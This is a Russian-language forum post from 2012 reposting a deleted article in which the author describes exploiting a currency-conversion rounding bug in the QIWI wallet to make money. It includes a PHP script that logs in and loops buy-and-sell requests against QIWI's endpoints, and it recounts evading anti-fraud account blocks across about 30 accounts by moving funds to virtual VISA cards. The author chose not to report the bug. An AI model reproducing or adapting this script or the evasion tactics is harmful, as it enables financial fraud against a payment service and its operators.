Разоряем QIWI, деньги из воздуха - с хабра.

Тема в разделе "Мегафлуд", создана пользователем jabbaxatt, 15 дек 2012.

  1. jabbaxatt

    jabbaxatt Добрый модератор

    Moderator
    Регистр.:
    21 янв 2009
    Сообщения:
    878
    Симпатии:
    411
    Статью махом удалили на хабре, даже гугл не успел закешировать. Но кто ищет тот всегда найдёт. Удалось надыбать копию у добрых людей, думаю и на нулледе народу будет интересно почитать. Копия статьи ниже, с рисунками (ибо всё что было опубликовано в сети уже нельзя удалить - помните про это!).
    -----------------------------------------------------------------------------------------------------------------
    Вступление

    Неделю назад мною была найдена забавная ошибка на сайте QIWI, точнее на новой версии сайта VISA QIWI WALLET.

    Когда QIWI запускали новую версию сайта, они добавили пару сервисов, такие как:
    • создание счетов в различных валютах (RUB, EUR, USD)
    • переводы между счетами из одной валюты в другую
    В переводах между счетами таилась фатальная ошибка, подробнее под катом.
    Обнаружение

    6 декабря мне понадобилось оплатить некую услугу через QIWI-кошелёк. Зайдя на сайт QIWI я впервые увидел обновленный интерфейс, который по начале меня порадовал, а в последствие немного огорчил, потому что я не смог найти, как пополнить свой кошелёк. В итоге просто попросил знакомого перевести мне со своего QIWI-кошелька.

    Разобравшись со своими делами, я полез осваивать обновленный интерфейс. Увидев возможность создавать счета, тут же создал счета во всех возможных валютах (USD, EUR, KZR, RUB). После сего действия, меня заинтересовала возможность перевода из одной валюты в другую

    11111q.png
    Моя кошерная любовь к деньгам тут же настроила мозг на поиск халявы. Буквально за пять минут я заметил забавную особенность, которая позволяла получать (за одну операцию) 14 копеек из воздуха.
    Тут мы покупаем 0.03 EUR за 1.23 RUB

    28222222q.png
    А тут мы продаём 0.03 EUR за 1.37 RUB

    33333q.png
    Попробовав купить-продать 0,03 EUR несколько раз, понял, что ошибка действительно имеет место быть и что мой счёт пополнился на пару рублей. Сразу на ум пришла пословица «копейка рубль бережет».
    Эксплуатирование

    Осторожно — быдлокод
    Зная, как работает техподдержка QIWI (можно месяцы дожидаться ответа, причем не факт, что ответ будет полезен), решил не заморачиваться попытками достучаться туда и решил немножко попользоваться 'фичей'. Понимая, что вручную по 14 копеек за операцию я многое не получу, в скоростном режиме набыдлокодил скрипт (на PHP, ибо больше ничего не знаю), который:
    • покупает 0,99 EUR за 40,59 RUB
    • 33 раза продает 0,09 EUR по 1,37 RUB
    В итоге тратим 40,59 RUB, а получаем 45,21 RUB.
    PHP:
    function get_t($cookie)
    {
        
    //получаем идентификатор операции
        
    preg_match('|\"t\":\"(.*?)\"|'curl('https://w.qiwi.com/user/person/account/transfer.action'$cookie), $tmp);
        return 
    $tmp[1];
    }
     
    $number '';
    $password '';
     
    //авторизация
    preg_match('|Set-Cookie: (.*?);|'curl('https://w.qiwi.com/auth/login.action?source=MENU&login=%2B'.$number.'&password='.$passwordnull, array('Accept: application/json, text/javascript, */*; q=0.01''X-Requested-With: XMLHttpRequest')), $tmp);
    $cookies $tmp[1];
     
    //бесконечная работа, естественно
    while (true)
    {
        
    $t get_t($cookies);
        
    //покупаем 0,99 EUR за 40,59 RUB (1.23 * 33)
        
    curl('https://w.qiwi.com/user/person/account/state.action?extra%5B\'account\'%5D='.$number.'&source=qiwi_RUB¤cy=EUR&amountInteger=0&amountFraction=99&state=CONFIRM&t='.$t.'&protected=true'$cookies);
        
    //подтверждение покупки
        
    curl('https://w.qiwi.com/payment/form/state.action?state=PAY&t='.$t$cookies);
     
        
    //33 запроса на продажу 0,03 EUR
        
    for ($i=0$i<33$i++)
        {
            
    $t get_t($cookies);
            
    //33 раза продаём 0,03 EUR по 1,37 RUB (45,21)
            
    curl('https://w.qiwi.com/user/person/account/state.action?extra%5B\'account\'%5D='.$number.'&source=qiwi_EUR¤cy=RUB&amountInteger=1&amountFraction=37&state=CONFIRM&t='.$t.'&protected=true'$cookies);
            
    curl('https://w.qiwi.com/payment/form/state.action?state=PAY&t='.$t$cookies);
        }
    }
     
    function 
    curl($url$cookie false$httpheaders false)
    {
        ..
    }
    Этот простейший скрипт позволял извлекать из воздуха около 10 рублей в минуту => 600 рублей в час.
    Действия со стороны QIWI

    Изначально деньги с кошелька можно было тратить куда угодно (хоть напрямую переводы на банковскую карту), в последствие QIWI начали блокировать аккаунты (да, мне не хватало одного аккаунта), блокировали операции (моментально распознавались антифрод системой), но сам баг(?) не исправляли.

    В последствие было выявлено, что можно создать виртуальную карту VISA и постепенно (по мере накопления денежных средств) сбрасывать на неё деньги, ведь при блокировке аккаунта виртуальная карточка не блокировалась :)
    Итог

    Заблокировано около 30 аккаунтов, получено море веселья и удовольствия (у меня особые чувства к подобным вещам), для себя ещё раз подтвердил, что какой бы крупной не была кампания, мелкие ошибки (с крупными последствиями) всегда можно найти :)

    На данный момент подобное провернуть уже нельзя, хотя QIWI при высчитывание стоимости конвертации валюты показывает старые значения.

    Надеюсь QIWI на меня не в обиде.

    Не особо умею писать статьи, простите за недочёты.
    Не могу писать в «платёжные системы», увы.
     
    seowolf, fmedia, autos и 4 другим нравится это.